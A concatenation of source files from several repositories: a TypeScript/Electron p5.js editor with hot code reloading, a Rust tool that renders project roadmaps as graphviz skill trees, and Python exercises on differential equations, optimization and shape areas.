export function setFontSize(fontSize: number): void {
settings.set(keys.fontSize, fontSize);
}
export function getShowLineNumbers(): boolean {
return settings.get(keys.showLineNumbers) ?? false;
}
export function setShowLineNumbers(showLineNumbers: boolean): void {
settings.set(keys.showLineNumbers, showLineNumbers);
}
export function watchShowLineNumbers(fn: (b: boolean) => void): void {
settings.watch(keys.showLineNumbers, fn);
}
export function getHotCodeReload(): boolean {
return settings.get(keys.hotCodeReload) ?? false;
}
export function setHotCodeReload(hotCodeReload: boolean): void {
settings.set(keys.hotCodeReload, hotCodeReload);
}
export function getSidebarOpen(): boolean {
return settings.get(keys.sidebarOpen) ?? false;
}
export function setSidebarOpen(sidebarOpen: boolean): void {
settings.set(keys.sidebarOpen, sidebarOpen);
}
export function loadSketchLibraries(): string[] {
const all = settings.get(keys.librariesPerSketch);
return all ? all[getCurrentSketchName()] ?? [] : [];
}
export function updateSketchLibraries(
fn: (libraries: string[]) => string[]): string[] {
const sketch = getCurrentSketchName();
const all = settings.get(keys.librariesPerSketch) ?? {};
all[sketch] = fn(loadSketchLibraries());
settings.set(keys.librariesPerSketch, all);
return all[sketch];
}
export function renameSketch(oldName: string, newName: string): void {
const all = settings.get(keys.librariesPerSketch) ?? {};
const renameProp = (
oldProp: string,
newProp: string,
{ [oldProp]: old, ...others }
) => {
return {
[newProp]: old,
...others
};
};
if (all[oldName]) {
settings.set(keys.librariesPerSketch, renameProp(oldName, newName, all));
}
}
<file_sep>---
layout: default
---
# ProcessingP5
A ready-to-use editor to create p5.js sketches, without any other dependencies to download and install.
You open it for the first time and start playing.
It is primarily meant for artists, designers, and people learning programming for the first time.
Having said that, I don't fall into any of those categories, but I use it for my day-to-day sketching.
It looks like this:

## Features
The editor is powered by the wonderful [Monaco Editor](https://microsoft.github.io/monaco-editor/), and the sketches run [p5.js](https://p5js.org/) by the legendary <NAME>.
Together with all the features from the Monaco Editor itself, it supports:
* Auto-complete for the p5 API
* Live reloading without refresh (as an option)
* Dark & Light mode
* Importing of other libraries and files
* Exporting the sketch to a stand-alone html file (other formats to come)
<file_sep>// sorry, future progammers
import * as types from 'ast-types';
import { builders as typeBuilders } from 'ast-types';
import { NodePath } from 'ast-types/lib/node-path';
import * as recast from 'recast';
// the name of the global that holds all the values in the
// injected script
const AllVarsVariableName = '__AllVars';
// all previously parsed code files by filename
let previousCodes: { [key: string]: any } = {};
/**
* Returns if the code has changed structurally or just literal
* values have been modified.
*/
export function codeHasChanged(file: string, userCode: string): boolean {
return detectCodeChanges(
recast.parse(userCode).program.body,
previousCodes[file].program.body);
}
/**
* Given the user code, returns a parsed version with:
* - an `__AllVars` global that holds all the literal values
* - inlines all global variables with their __AllVars equivalent
*
* Receives:
*
* let myNumber = 1;
* fn(myNumber);
*
* function fn(n) {
* let v = 2;
* console.log(v + n + myNumber);
* }
*
* and returns:
*
* __AllVars["hash1"] = 1;
* __AllVars["hash2"] = 2;
*
* let myNumber = __AllVars.hash1;
* fn(__AllVars.hash1);
*
* function fn(n) {
* let v = __AllVars.hash2;
* console.log(v + n + __AllVars.hash1);
* }
*
*/
export function parseCode(file: string, userCode: string): string {
try {
const vars: { [key: string]: string } = {};
const ast = recast.parse(userCode);
// stores all variable declarations whose value was modified to access
// the __AllVars
const globalVarNamesAndKeys = {} as any;
types.visit(ast, {
visitLiteral: path => {
const key = nodeToKey(path, vars);
vars[key] = JSON.stringify(path.value.value);
path.replace(
typeBuilders.memberExpression(
typeBuilders.identifier(AllVarsVariableName),
typeBuilders.identifier(key)));
if (isGlobalVarDeclaration(path)) {
const varName = path.parentPath.value.id.name;
globalVarNamesAndKeys[varName] = key;
}
return false;
}
});
// replace all *global* variable references with a reference to their key
// in the __AllVars
if (Object.keys(globalVarNamesAndKeys).length > 0) {
types.visit(ast, {
visitIdentifier: path => {
const nodeName = path?.node?.name;
if (globalVarNamesAndKeys[nodeName] !== undefined
&& !isVarDeclaration(path)) {
path.replace(
typeBuilders.memberExpression(
typeBuilders.identifier(AllVarsVariableName),
typeBuilders.identifier(globalVarNamesAndKeys[nodeName])));
}
return false;
}
});
}
const modifiedUserCode = recast.prettyPrint(ast).code;
previousCodes[file] = recast.parse(userCode);
const varAssignments = Object.keys(vars).map(key => {
return `${AllVarsVariableName}['${key}'] = ${vars[key]};`;
}).join('');
return `${varAssignments} ${modifiedUserCode}`;
} catch (error) {
console.error('Hot code failed for ' + file, error);
return userCode;
}
}
/**
* In theory
*
* Receives:
* let a = 1;
*
* and returns:
* {
* aHash: 1
* }
*
* But this is way more complex.
*
* In the context of p5, there are a few different contexts to be taken into
* consideration when grabbing the current variables values to be sent to the
* running sketch.
*
* For instance:
*
* let x = 10;
* let fillColor = 1;
*
* function draw() {
* background(255);
* fill(fillColor);
* rect(x, x, 10);
* x++;
* fillColor++;
* }
*
* Is parsed to:
*
* const __AllVars = {
* x: 10,
* fillColor: 1,
* backgroundColor: 255,
* rectSize: 10,
* };
*
* let x = __AllVars[x];
* let fillColor = __AllVars[fillColor];
*
* function draw() {
* background(__AllVars[backgroundColor]);
* fill(fillColor);
* rect(x, x, __AllVars[rectSize]);
*
* __AllVars[x]++;
* __AllVars[fillColor]++;
* }
*
* Previously, when changing *any* literal, we would send an update hash with
* all the values extracted from all literals from the code.
*
* This is an issue for globals, like `x` and `fillColor`, as they are updated
* on each `draw` call, and we would essentially reset the sketch to the initial
* configuration.
*
* This function now makes an important distinction, based on the type of
* expression currently under the cursor in the code editor:
* - when changing literals that are *not* globals, grab all variables that
* aren't globals to send to the sketch
* - when changing a literal that *is* a global, send *only* that var to the
* sketch
*/
export function getVars(
userCode: string,
lineUnderCursor?: number): any {
const vars: { [key: string]: string } = {};
const ast = recast.parse(userCode);
let isLiteralUnderCursorAnAssignment = false;
if (lineUnderCursor !== undefined) {
types.visit(ast, {
visitLiteral: path => {
if (path.value.loc.start.line === lineUnderCursor
&& isGlobalVarDeclaration(path)) {
isLiteralUnderCursorAnAssignment = true;
vars[nodeToKey(path, vars)] = path.value.value;
}
return false;
}
});
}
if (!isLiteralUnderCursorAnAssignment) {
types.visit(ast, {
visitLiteral: (path) => {
const key = nodeToKey(path, vars);
if (!isGlobalVarDeclaration(path)) {
vars[key] = path.value.value;
}
return false;
}
});
}
return vars;
}
/**
* Returns a uniquely identifiable key given an AST node.
*/
function nodeToKey(path: any, vars: any): string {
let key = `a${path.value.loc.start.line}`;
let count = 1;
while (key in vars) {
key = `a${path.value.loc.start.line}_${count++}`;
}
return key;
}
/**
* Here be dragons.
* Tries to detect recursively if one AST is different from another, ignoring
* literal value changes.
*/
function detectCodeChanges(actual: any, expected: any): boolean {
// this returns true when comparing base types (strings, numbers, booleans)
// we reach this case in many properties like an function's name.
if (Object(actual) !== actual) {
return actual !== expected;
}
if (Array.isArray(actual)) {
if (actual.length !== expected.length) {
return true;
}
for (let i = 0; i < actual.length; i++) {
if (detectCodeChanges(actual[i], expected[i])) {
return true;
}
}
return false;
}
const actualIsLiteral = actual.type === 'Literal';
const expectedIsLiteral = expected.type === 'Literal';
if (actualIsLiteral && expectedIsLiteral) {
return false;
} else if (!actualIsLiteral && !expectedIsLiteral) {
for (let attr in actual) {
/**
* Sadly there's no other way to compare AST nodes without treating each
* type specifically, as there's no common interface.
*
* This code simply iterates through all object properties and compares
* them. `loc`, however is a property that nodes have that can differ
* between `actual` and `expected`, but we don't * necessarily care for
* this change as it might just be a literal value changing.
*/
if (expected && attr in expected) {
if (attr !== 'loc' && detectCodeChanges(actual[attr], expected[attr])) {
return true;
}
} else {
return true;
}
}
} else {
return true;
}
return false;
}
function isGlobalVarDeclaration(path: NodePath<types.namedTypes.Literal, any>)
: boolean {
if (!path.scope.isGlobal) return false;
while (path.parentPath) {
if (path.value.type === 'VariableDeclarator') return true;
path = path.parentPath;
}
return false;
}
function isVarDeclaration(path: NodePath): boolean {
while (path.parentPath && path.value.type) {
if (path.value.type === 'VariableDeclarator') return true;
path = path.parentPath;
}
return false;
}
<file_sep>import { BrowserWindow } from 'electron';
const { remote } = window.require('electron');
export function toPreview(fn: (w: BrowserWindow) => void): void {
all().filter(isNotMainWindow).forEach(fn);
}
export function toMain(fn: (w: BrowserWindow) => void): void {
fn(main());
}
export function toAll(fn: (w: BrowserWindow) => void): void {
all().forEach(fn);
}
export function main(): BrowserWindow {
return all().filter(isMainWindow)[0];
}
export function autoArrange(): void {
const { width, height } = remote.screen.getPrimaryDisplay().workArea;
const halfWidth = width / 2;
toMain(w => w.setBounds({
x: 0,
y: 0,
width: halfWidth,
height: height,
}));
toPreview(w => w.setBounds({
x: halfWidth,
y: 0,
width: halfWidth,
height: height,
}));
}
function all(): BrowserWindow[] {
return remote.BrowserWindow
.getAllWindows() as BrowserWindow[];
}
function isMainWindow(w: BrowserWindow): boolean {
// awful but the only way. id = 1 is the main window, always
return w.id === 1;
}
function isNotMainWindow(w: BrowserWindow): boolean {
return !isMainWindow(w);
}
<file_sep>// from https://github.com/mawie81/electron-window-state/blob/master/index.js
let fs, path, electron, platform;
try { // running in renderer process
const r = window.require;
electron = r('electron');
const remote = electron.remote;
fs = remote.require('fs');
path = remote.require('path');
platform = remote.getGlobal('process').platform;
} catch (e) { // running in main process
electron = require('electron');
fs = require('fs');
path = require('path');
platform = process.platform;
}
module.exports = function(options) {
const app = electron.app || electron.remote.app;
const screen = electron.screen || electron.remote.screen;
let state;
let winRef;
let stateChangeTimer;
const eventHandlingDelay = 100;
const config = Object.assign({
file: 'window-state.json',
path: app.getPath('userData'),
maximize: true,
}, options);
const fullStoreFileName = path.join(config.path, config.file);
function isNormal(win) {
return !win.isMaximized() && !win.isMinimized();
}
function hasBounds() {
return state &&
Number.isInteger(state.x) &&
Number.isInteger(state.y) &&
Number.isInteger(state.width) && state.width > 0 &&
Number.isInteger(state.height) && state.height > 0;
}
function resetStateToDefault() {
const displayBounds = screen.getPrimaryDisplay().bounds;
// Reset state to default values on the primary display
state = {
width: config.defaultWidth || 800,
height: config.defaultHeight || 600,
x: 0,
y: 0,
displayBounds
};
}
function windowWithinBounds(bounds) {
return (
state.x >= bounds.x &&
state.y >= bounds.y &&
state.x + state.width <= bounds.x + bounds.width &&
state.y + state.height <= bounds.y + bounds.height
);
}
function ensureWindowVisibleOnSomeDisplay() {
const visible = screen.getAllDisplays().some(display => {
return windowWithinBounds(display.bounds);
});
if (!visible) {
// Window is partially or fully not visible now.
// Reset it to safe defaults.
return resetStateToDefault();
}
}
function validateState() {
const isValid = state && (hasBounds() || state.isMaximized);
if (!isValid) {
state = null;
return;
}
if (hasBounds() && state.displayBounds) {
ensureWindowVisibleOnSomeDisplay();
}
}
function updateState(win) {
win = win || winRef;
if (!win) {
return;
}
// Don't throw an error when window was closed
try {
const winBounds = win.getBounds();
if (isNormal(win)) {
state.x = winBounds.x;
state.y = winBounds.y;
state.width = winBounds.width;
state.height = winBounds.height;
}
state.isMaximized = win.isMaximized();
state.displayBounds = screen.getDisplayMatching(winBounds).bounds;
} catch (err) {
console.error(err);
}
saveState();
}
function saveState() {
try {
fs.mkdirSync(path.dirname(fullStoreFileName), {
recursive: true
});
fs.writeFileSync(fullStoreFileName, JSON.stringify(state));
} catch (err) {
console.error(err);
}
}
function stateChangeHandler() {
clearTimeout(stateChangeTimer);
stateChangeTimer = setTimeout(updateState, eventHandlingDelay);
}
function manage(win) {
if (config.maximize && state.isMaximized) {
win.maximize();
}
win.on('resize', stateChangeHandler);
win.on('move', stateChangeHandler);
winRef = win;
return win;
}
try {
// to remove a parcel bundler warning
const rfs = fs;
if (rfs.existsSync(fullStoreFileName)) {
state = JSON.parse(rfs.readFileSync(fullStoreFileName));
} else {
state = null;
}
} catch (err) {
console.error(err);
}
validateState();
// Set state fallback values
state = Object.assign({
width: config.defaultWidth || 800,
height: config.defaultHeight || 600
}, state);
return {
get x() {
return state.x;
},
get y() {
// https://github.com/electron/electron/issues/10388
if (platform === 'linux') {
return state.y - 30;
} else {
return state.y;
}
},
get width() {
return state.width;
},
get height() {
return state.height;
},
manage,
};
};
| ed2490de5fde15eb9e2e128fea46419b93e91b46 | [
"JavaScript",
"TypeScript",
"Markdown",
"Shell"
] | 13 | Shell | filipesabella/ProcessingP5 | eed6a4d3e0498f9e0b1bb2950632a75740a267b0 | 467873572a2b22f93b157f5ffec5f5eb8909d7b3 |
refs/heads/master | <file_sep>View the skill-tree by loading `skill-tree.html` in this directory!
viz-js sources downloaded from <https://github.com/mdaines/viz.js/releases>
<file_sep>use fehler::throws;
use serde_derive::Deserialize;
#[derive(Debug, Deserialize)]
pub(crate) struct SkillTree {
pub(crate) group: Vec<Group>,
pub(crate) goal: Option<Vec<Goal>>,
}
#[derive(Debug, Deserialize)]
pub(crate) struct Goal {
pub(crate) name: String,
pub(crate) label: Option<String>,
pub(crate) requires: Option<Vec<String>>,
pub(crate) href: Option<String>,
}
#[derive(Debug, Deserialize)]
pub(crate) struct Group {
pub(crate) name: String,
pub(crate) label: Option<String>,
pub(crate) requires: Option<Vec<String>>,
pub(crate) items: Vec<Item>,
pub(crate) width: Option<f64>,
pub(crate) status: Option<Status>,
pub(crate) href: Option<String>,
}
#[derive(Copy, Clone, Debug, PartialOrd, Ord, PartialEq, Eq, Hash)]
pub struct GroupIndex(pub usize);
#[derive(Debug, Deserialize)]
pub(crate) struct Item {
pub(crate) label: String,
pub(crate) href: Option<String>,
pub(crate) port: Option<String>,
pub(crate) requires: Option<Vec<String>>,
pub(crate) status: Option<Status>,
}
#[derive(Copy, Clone, Debug, PartialOrd, Ord, PartialEq, Eq, Hash)]
pub struct ItemIndex(pub usize);
#[derive(Copy, Clone, Debug, Deserialize)]
pub enum Status {
/// Can't work on it now
Blocked,
/// Would like to work on it, but need someone
Unassigned,
/// People are actively working on it
Assigned,
/// This is done!
Complete,
}
impl SkillTree {
#[throws(anyhow::Error)]
pub(crate) fn validate(&self) {
// gather: valid requires entries
for group in &self.group {
group.validate()?;
}
}
pub(crate) fn is_goal(&self, name: &str) -> bool {
self.goals().any(|goal| goal.name == name)
}
pub(crate) fn goals(&self) -> impl Iterator<Item = &Goal> {
self.goal.iter().flat_map(|v| v.iter())
}
pub(crate) fn groups(&self) -> impl Iterator<Item = &Group> {
self.group.iter()
}
}
impl Group {
#[throws(anyhow::Error)]
pub(crate) fn validate(&self) {
// check: that `name` is a valid graphviz identifier
// check: each of the things in requires has the form
// `identifier` or `identifier:port` and that all those
// identifiers map to groups
for item in &self.items {
item.validate()?;
}
}
pub(crate) fn items(&self) -> impl Iterator<Item = &Item> {
self.items.iter()
}
}
impl Item {
#[throws(anyhow::Error)]
pub(crate) fn validate(&self) {
// check: each of the things in requires has the form
// `identifier` or `identifier:port` and that all those
// identifiers map to groups
// check: if you have a non-empty `requires`, must have a port
}
}
<file_sep>use crate::tree::{Goal, Group, SkillTree, Status};
use fehler::throws;
use std::io::Write;
#[throws(anyhow::Error)]
pub(crate) fn write_graphviz(tree: &SkillTree, output: &mut dyn Write) {
writeln!(output, r#"digraph g {{"#)?;
writeln!(output, r#"graph [ rankdir = "LR" ];"#)?;
writeln!(output, r#"node [ fontsize="16", shape = "ellipse" ];"#)?;
writeln!(output, r#"edge [ ];"#)?;
for group in tree.groups() {
writeln!(output, r#""{}" ["#, group.name)?;
write_group_label(group, output)?;
writeln!(output, r#" shape = "none""#)?;
writeln!(output, r#" margin = 0"#)?;
writeln!(output, r#"]"#)?;
}
for goal in tree.goals() {
writeln!(output, r#""{}" ["#, goal.name)?;
write_goal_label(goal, output)?;
writeln!(output, r#" shape = "note""#)?;
writeln!(output, r#" margin = 0"#)?;
writeln!(output, r#" style = "filled""#)?;
writeln!(output, r#" fillcolor = "darkgoldenrod""#)?;
writeln!(output, r#"]"#)?;
}
for group in tree.groups() {
if let Some(requires) = &group.requires {
for requirement in requires {
writeln!(
output,
r#"{} -> {};"#,
tree.port_name(requirement, "out"),
tree.port_name(&group.name, "in"),
)?;
}
}
for item in group.items() {
if let Some(requires) = &item.requires {
for requirement in requires {
writeln!(
output,
r#"{} -> "{}":_{}_in;"#,
tree.port_name(requirement, "out"),
group.name,
item.port.as_ref().expect("missing port"),
)?;
}
}
}
}
for goal in tree.goals() {
if let Some(requires) = &goal.requires {
for requirement in requires {
writeln!(
output,
r#"{} -> {};"#,
tree.port_name(requirement, "out"),
tree.port_name(&goal.name, "in"),
)?;
}
}
}
writeln!(output, r#"}}"#)?;
}
const WATCH_EMOJI: &str = "⌚";
const HAMMER_WRENCH_EMOJI: &str = "🛠️";
const CHECKED_BOX_EMOJI: &str = "☑️";
const RAISED_HAND_EMOJI: &str = "🙋";
fn escape(s: &str) -> String {
htmlescape::encode_minimal(s).replace('\n', "<br/>")
}
#[throws(anyhow::Error)]
fn write_goal_label(goal: &Goal, output: &mut dyn Write) {
let label = goal.label.as_ref().unwrap_or(&goal.name);
let label = escape(label);
writeln!(output, r#" label = "{label}""#, label = label)?;
}
#[throws(anyhow::Error)]
fn write_group_label(group: &Group, output: &mut dyn Write) {
writeln!(output, r#" label = <<table>"#)?;
let label = group.label.as_ref().unwrap_or(&group.name);
let label = escape(label);
let group_href = attribute_str("href", &group.href, "");
writeln!(
output,
r#" <tr><td bgcolor="darkgoldenrod" port="all" colspan="2"{group_href}>{label}</td></tr>"#,
group_href = group_href,
label = label,
)?;
for item in &group.items {
let item_status = item.status.or(group.status).unwrap_or(Status::Unassigned);
let (emoji, fontcolor, mut start_tag, mut end_tag) = match item_status {
Status::Blocked => (
WATCH_EMOJI,
None,
"<i><font color=\"lightgrey\">",
"</font></i>",
),
Status::Unassigned => (RAISED_HAND_EMOJI, Some("red"), "", ""),
Status::Assigned => (HAMMER_WRENCH_EMOJI, None, "", ""),
Status::Complete => (CHECKED_BOX_EMOJI, None, "<s>", "</s>"),
};
let fontcolor = attribute_str("fontcolor", &fontcolor, "");
let bgcolor = attribute_str("bgcolor", &Some("cornsilk"), "");
let href = attribute_str("href", &item.href, "");
if item.href.is_some() && start_tag == "" {
start_tag = "<u>";
end_tag = "</u>";
}
let port = item.port.as_ref().map(|port| format!("_{}", port));
let port_in = attribute_str("port", &port, "_in");
let port_out = attribute_str("port", &port, "_out");
writeln!(
output,
" \
<tr>\
<td{bgcolor}{port_in}>{emoji}</td>\
<td{fontcolor}{bgcolor}{href}{port_out}>\
{start_tag}{label}{end_tag}\
</td>\
</tr>",
fontcolor = fontcolor,
bgcolor = bgcolor,
emoji = emoji,
href = href,
port_in = port_in,
port_out = port_out,
label = item.label,
start_tag = start_tag,
end_tag = end_tag,
)?;
}
writeln!(output, r#" </table>>"#)?;
}
fn attribute_str(label: &str, text: &Option<impl AsRef<str>>, suffix: &str) -> String {
match text {
None => format!(""),
Some(t) => format!(" {}=\"{}{}\"", label, t.as_ref(), suffix),
}
}
impl SkillTree {
fn port_name(&self, requires: &str, mode: &str) -> String {
if let Some(index) = requires.find(":") {
let name = &requires[..index];
let port = &requires[index + 1..];
format!(r#""{}":_{}_{}"#, name, port, mode)
} else if self.is_goal(requires) {
// Goals don't have ports, so we don't need a `:all`
format!(r#""{}""#, requires)
} else {
format!(r#""{}":all"#, requires)
}
}
}
<file_sep>use anyhow::Context;
use fehler::throws;
use rust_embed::RustEmbed;
use std::fs::File;
use std::io::Write;
use std::path::{Path, PathBuf};
use structopt::StructOpt;
mod graphviz;
mod tree;
#[derive(StructOpt, Debug)]
#[structopt(name = "skill-tree")]
struct Opts {
#[structopt(name = "skill_tree", parse(from_os_str))]
skill_tree: PathBuf,
#[structopt(name = "output_dir", parse(from_os_str))]
output_dir: PathBuf,
}
// Embed the contents of the viz-js folder at build time
#[derive(RustEmbed)]
#[folder = "viz-js/"]
struct VizJs;
#[throws(anyhow::Error)]
fn main() {
let opts: Opts = Opts::from_args();
// Load the skill tree
let skill_tree = load_skill_tree(&opts.skill_tree)
.with_context(|| format!("loading skill tree from `{}`", opts.skill_tree.display()))?;
// Validate it for errors.
skill_tree.validate()?;
// Create the output directory
std::fs::create_dir_all(&opts.output_dir)
.with_context(|| format!("creating output directory `{}`", opts.output_dir.display()))?;
// Write out the dot file
write_dot_file(&skill_tree, &opts)?;
// Copy into it the content from viz-js folder
for file in VizJs::iter() {
let file: &str = file.as_ref();
let file_text = VizJs::get(file).unwrap();
let file_text: &[u8] = file_text.as_ref();
let output_path = opts.output_dir.join(file);
write_static_file(&output_path, file_text)
.with_context(|| format!("creating static file `{}`", output_path.display()))?;
}
}
#[throws(anyhow::Error)]
fn load_skill_tree(path: &Path) -> tree::SkillTree {
let skill_tree_text = std::fs::read_to_string(path)?;
toml::from_str(&skill_tree_text)?
}
#[throws(anyhow::Error)]
fn write_dot_file(skill_tree: &tree::SkillTree, opts: &Opts) {
let dot_path = &opts.output_dir.join("skill-tree.dot");
let mut dot_file =
File::create(dot_path).with_context(|| format!("creating `{}`", dot_path.display()))?;
graphviz::write_graphviz(&skill_tree, &mut dot_file)
.with_context(|| format!("writing to `{}`", dot_path.display()))?;
}
#[throws(anyhow::Error)]
fn write_static_file(output_path: &Path, file_text: &[u8]) {
let mut file = File::create(output_path)?;
file.write_all(&file_text)?;
}
<file_sep>// Loads the dot file found at `dot_path` as text and displays it.
function loadSkillTree(dot_path) {
var viz = new Viz();
fetch(dot_path)
.then(response => response.text())
.then(text => {
viz.renderSVGElement(text)
.then(element => { document.body.appendChild(element); })
});
}
<file_sep># skill-tree
A tool for rendering "skill trees", currently using graphviz.
## What is a skill tree?
A "skill tree" is a useful way to try and map out the "roadmap" for a
project. The term is borrowed from video games, but it was first
applied to project planning in this rather wonderful [blog post about
WebAssembly's post-MVP future][wasm] (at least, that was the first
time I'd seen it used that way).
[wasm]: https://hacks.mozilla.org/2018/10/webassemblys-post-mvp-future/
## Example
## How does this project work?
You create a [TOML file](tree-data/example.toml) that defines the
"groups" (major work areas) along with the items in each group. These
items can be linked to github issues or other urls, and you can create
dependencies between groups and items. Here is an [example of such a
file](tree-data/example.toml).
You then run the tool like so:
```bash
> cargo run -- tree-data/example.toml output
```
This will generate a directory `output` that contains various
javascript and dot files. If you view `output/skill-tree.html` you
will get a view of the complete skill tree. You can also load
`output/skill-tree.js` (along with the `viz.js` scripts) and execute
the skill tree from some context of your own.
In particular, `output/skill-tree.dot` is your graphviz file that you
can use to render on your own if you prefer.
## Next steps
I should, of course, create a skill-tree for this project-- but the
goal is to make this something that can be readily dropped into a
working group repository (like [wg-traits]) and used to track the
overall progress and plans of a project. The workflow isn't *quite*
drag and drop enough for that yet, but we're close!
[wg-traits]: https://github.com/rust-lang/wg-traits
<file_sep>[package]
name = "skill-tree"
version = "1.3.2"
authors = ["<NAME> <<EMAIL>>"]
edition = "2018"
description = "generate graphviz files to show roadmaps"
license = "MIT"
repository = "https://github.com/nikomatsakis/skill-tree"
homepage = "https://github.com/nikomatsakis/skill-tree"
[dependencies]
anyhow = "1.0"
clap = "2.33.0"
fehler = "1.0.0-alpha.2"
rust-embed = "5.2.0"
structopt = "0.3.11"
serde = "1.0"
serde_derive = "1.0"
svg = "0.5.12"
toml = "0.5.1"
htmlescape = "0.3.1"
| 17ebc134f0bffeab1f42b751292687b5a56bdf1d | [
"Markdown",
"Rust",
"JavaScript",
"TOML"
] | 7 | Markdown | oli-obk/skill-tree | 74624c12a2977effaddb71e1fc85bbaf4f5f9c2a | 6b1dde9b566c4e9444fef8d456838a668280ee98 |
refs/heads/master | <file_sep>import numpy as np
import matplotlib.pyplot as plt
import numpy as np
import matplotlib.pyplot as plt
from scipy.integrate import odeint
###Euler method
# parameters
T = 5
h = 0.1
# x' = ax
a = 1
initial_x = 1
t = np.arange(0,T,h)
x = np.zeros(t.shape)
x[0] = initial_x
for i in range(t.size-1):
x[i+1] = x[i] + h * (1 * x[i])
# plt.plot(t,x,'o')
# plt.xlabel('t', fontsize=14)
# plt.ylabel('x', fontsize=14)
# plt.show()
# parametry symulacji
T = 20
h = 0.1
# parametry modelu x'' + ax' + bx = 0
a, b = 0, 1
initial_x, initial_y = 1.0, 0.0
t = np.arange(0,T,h)
x = np.zeros(t.shape)
y = np.zeros(t.shape)
x[0], y[0] = initial_x, initial_y
for i in range(t.size-1):
x[i+1] = x[i] + h*(y[i])
y[i+1] = y[i] + h*(-b*x[i] - a*y[i])
# plt.plot(t,x,'k', label='x')
# plt.plot(t,y,'g', label='y')
# plt.xlabel('t', fontsize=14)
# plt.ylabel('state', fontsize=14)
# plt.legend(loc='upper right', fontsize=14)
# plt.show()
# skorygowany schemat Eulera
T = 20
h = 0.1
# parametry modelu x'' + ax' + bx = 0
a, b = 0, 1
initial_x, initial_y = 1.0, 0.0
t = np.arange(0,T,h)
x = np.zeros(t.shape)
y = np.zeros(t.shape)
x[0], y[0] = initial_x, initial_y
for i in range(t.size-1):
x[i+1] = x[i] + h*(y[i])
y[i+1] = y[i] + h*(-b*x[i+1] - a*y[i])
# plt.plot(t,x,'k', label='x')
# plt.plot(t,y,'g', label='y')
# plt.xlabel('t', fontsize=14)
# plt.ylabel('state', fontsize=14)
# plt.legend(loc='upper right', fontsize=14)
# plt.show()
# Differential equations
def F(x, t):
dx = [0, 0]
dx[0] = x[1]
dx[1] = -x[0]-0.5*x[1]
return dx
t_min = 0
t_max = 20
h = 0.01
t = np.arange(t_min, t_max+h, h)
initial_x = ((1,0))
# X = odeint(F, initial_x, t)
# plt.figure(1)
# plt.plot(t,X)
# plt.figure(2)
# plt.plot(X[:,0],X[:,1])
# plt.axis('equal')
# plt.show()
# Optimizing exponential
from scipy import linspace , cos , exp, random, meshgrid, zeros
from scipy.optimize import fmin
from matplotlib.pyplot import plot, show, legend, figure, cm, contour, clabel
def f(x):
return exp(-x[0] ** 2 - x[1] ** 2)
def neg_f(x):
return -f(x)
x0 = random.randn(2)
x_min = fmin(neg_f, x0)
from mpl_toolkits.mplot3d import Axes3D
delta = 3
x_knots = linspace(x_min[0] - delta, x_min[0] + delta, 41)
y_knots = linspace(x_min[1] - delta, x_min[1] + delta, 41)
X, Y = meshgrid(x_knots, y_knots)
Z = zeros(X.shape)
for i in range(Z.shape[0]):
for j in range(Z.shape[1]):
Z[i][j] = f([X[i, j], Y[i, j]])
ax = Axes3D(figure(figsize=(8, 5)))
ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.coolwarm, linewidth=0.4)
ax.plot([x0[0]], [x0[1]], [f(x0)], color='g', marker='o', markersize=5, label='initial')
ax.plot([x_min[0]], [x_min[1]], [f(x_min)], color='k', marker='o', markersize=5, label='final')
ax.legend()
show()
# TASKS (9p)
#1 Looking at the Euler method above create your own function which takes:
# a (from x' = ax)
# h - step
# T time range
# as an input and plots the solution of a differential equation x' = ax (1p)
#2 Beside the solution print the 'ideal' approximation on your chart using for example green color as a reference. (1p)
#2 Hint: use small step value. Use plt.legend to explain which serie is the 'ideal'
#3 Find a differential equation which represents a process / model (your choice) and implement it using odeint python function (1p)
#4 Look at the example of optimization for exponential function.
# Did you encounter any errors? Where in code do we display the optimal point? Do we minimize or maximize and which function?
# Start your search always from the point (0, -2). (1p)
#5 Create your own 3d function with multiple local optima.
# Create an algorithm which takes an initial point and looks for the closest local optimum (1p)
# Create an algorithm which aims to find a global optimum, the time of execution is limiter to ~30sec (1p)
# If your solution is heuristic test its quality. Measure the probability of finding the GLOBAL optimum (1p).
# You can, for example, execute your search function multiple times and check if the returned result is what you expected.
# Measure the success / total trials rate (2p).<file_sep>import numpy as np
#enum struktura
#2 Write a function which takes sets of parameters of two figures and compares their fields. (4p)
# The exemplary input is [[Circle, 4], [Rhombus, 2, 4]]
# Expected output would be 'The first figure (Circle) has larger field'
dane = []
def countField(zestaw):
field = None
if zestaw[0] == 'kolo': #circle
field = (zestaw[1]**2)*np.pi
if zestaw[0] == 'prostkat': #rectangle
field = zestaw[1]*zestaw[2]
if zestaw[0] == 'trojkat' or zestaw[0] =='romb': #triangle or rhombus
field = (1/2)*zestaw[1]*zestaw[2]
return field
def compare(zestaw1,zestaw2):
fig1 = countField(zestaw1)
fig2 = countField(zestaw2)
answ = None
if fig1 > fig2:
answ = 'The first figure ('+zestaw1[0]+') has larger field'
elif fig1 == fig2:
answ = "Both figures("+zestaw1[0]+","+zestaw2[0]+") have the same field"
elif fig1 < fig2:
answ = "The second figure ("+zestaw2[0]+") has larger field"
return print(answ)
def validate_data():
c1 = True
for i in [0,1]:
if len(dane[i]) == 0:
print('Wykryto pusta liste')
if dane[i][0] != 'kolo' and dane[i][0] != 'romb' and dane[i][0] != 'trojkat' and dane[i][0] != 'prostokat':
print('Wprowadzono zla nazwe figury lub zla kolejnosc wpisywania w zestawie',i+1)
for k in range(1,len(dane[i])):
if type(dane[i][k]) != int or type(dane[i][k]) != int:
print("Wymiary sa zle podane w zestawie",i+1)
if len(dane[i])<2:
print("Brak wymiarow w zestawie",i+1)
if (dane[i][0] == 'romb' or dane[i][0] == 'trojkat' or dane[i][0] == 'prostokat') and len(dane[i])!=3:
print(dane[i][0],"potrzebuje 2 wymiarow.")
c1 = False
if dane[i][0] == 'kolo' and len(dane[i])>=3:
print(dane[i][0],"potrzebuje tylko 1 wymiar.")
c1 = False
return c1
try:
if validate_data() == True:
compare(dane[0], dane[1])
except:
if not dane:
print("Wykryto pusta liste")
if len(dane) == 1:
print('Wpisano tylko jeden zestaw')<file_sep>import cs50
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
#0 Use alternative way of reading inputs - using library (0.5p)
x=-1
y=-1
while x<0 or y<0:
x = cs50.get_int("x: ")
y = cs50.get_int("y: ")
#1 Perimeter & field of circles with given radius X for the first circle & Y for the second one. (1p)
first_circleP = 2*np.pi*x
first_circleF = np.pi*(x**2)
second_circleP = 2*np.pi*y
second_circleF =np.pi*(y**2)
